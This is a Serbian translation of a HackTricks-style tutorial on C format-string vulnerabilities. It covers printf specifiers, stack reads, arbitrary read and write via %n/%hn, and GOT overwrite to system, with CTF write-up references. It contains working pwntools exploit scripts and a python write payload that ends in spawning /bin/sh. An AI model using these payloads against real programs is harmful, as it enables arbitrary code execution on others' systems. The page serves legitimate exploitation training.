Format Strings
{{#include ../../../banners/hacktricks-training.md}}
Osnovne informacije
U C printf je funkcija koja se može koristiti za štampanje nekog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti za zamenu formata iz sirovog teksta.
Ranljivost se pojavljuje kada se napadački tekst koristi kao prvi argument ovoj funkciji. Napadač će moći da kreira poseban unos koji zloupotrebljava printf format string mogućnosti da čita i piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo). Na ovaj način će moći da izvrši proizvoljan kod.
Formati:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Primeri:
- Ranjivi primer:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalna upotreba:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Sa nedostajućim argumentima:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
Pristupanje Pokazivačima
Format %<n>$x, gde je n broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
printf("%x %x %x %x")
i mogli biste čitati od prvog do četvrtog parametra.
Ili biste mogli uraditi:
printf("$4%x")
i direktno pročitajte četvrti.
Obratite pažnju da napadač kontroliše printf parametar, što u suštini znači da će njegov unos biti u steku kada se pozove printf, što znači da bi mogao da upiše specifične adrese u memoriji u stek.
Caution
Napadač koji kontroliše ovaj unos, moći će da doda proizvoljnu adresu u stek i natera
printfda im pristupi. U sledećem odeljku biće objašnjeno kako koristiti ovo ponašanje.
Proizvoljno Čitanje
Moguće je koristiti formatirator $n%s da se printf dobije adresa koja se nalazi na n poziciji, nakon nje i da je odštampa kao da je string (štampati dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla 0x8048000, i znamo da korisnički unos počinje na 4. poziciji u steku, moguće je odštampati početak binarnog fajla sa:
from pwn import *
p = process('./bin')
payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
Caution
Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti prekinut sa 0x00 na kraju te adrese.
Arbitrarno Pisanje
Formatirac $<num>%n piše broj napisanih bajtova u naznačenoj adresi u <num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da napravi $<num>%n da piše proizvoljan broj na proizvoljnoj adresi.
Na sreću, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u unos, da bi se to postiglo moguće je koristiti formatirac %.<num-write>%<num>$n da bi se napisao broj <num-write> u adresu na koju ukazuje pozicija num.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Međutim, imajte na umu da se obično za pisanje adrese kao što je 0x08049724 (što je OGROMAN broj za pisanje odjednom), koristi $hn umesto $n. To omogućava da se napiše samo 2 bajta. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
Zbog toga, ova ranjivost omogućava pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).
U ovom primeru, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:
{{#ref}} ../arbitrary-write-2-exec/ {{#endref}}
Prepisujemo funkciju koja prima svoje argumente od korisnika i upućujemo je na system funkciju.
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo napišete 2B adrese, a zatim ostale 2. Da biste to uradili, koristi se $hn.
- HOB se poziva na 2 viša bajta adrese
- LOB se poziva na 2 niža bajta adrese
Zatim, zbog načina na koji funkcioniše format string, potrebno je prvo napisati manji od [HOB, LOB] i zatim drugi.
Ako je HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Ako je HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools Šablon
Možete pronaći šablon za pripremu eksploita za ovu vrstu ranjivosti u:
{{#ref}} format-strings-template.md {{#endref}}
Ili ovaj osnovni primer iz ovde:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Ostali Primeri i Reference
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format stringova za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese
fflushsa funkcijom win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u
.fini_array(tako da se tok vraća još jednom) i pisanje adrese usystemu GOT tabeli koja pokazuje nastrlen. Kada se tok vrati u main,strlense izvršava sa korisničkim unosom i pokazuje nasystem, izvršiće prosleđene komande.
{{#include ../../../banners/hacktricks-training.md}}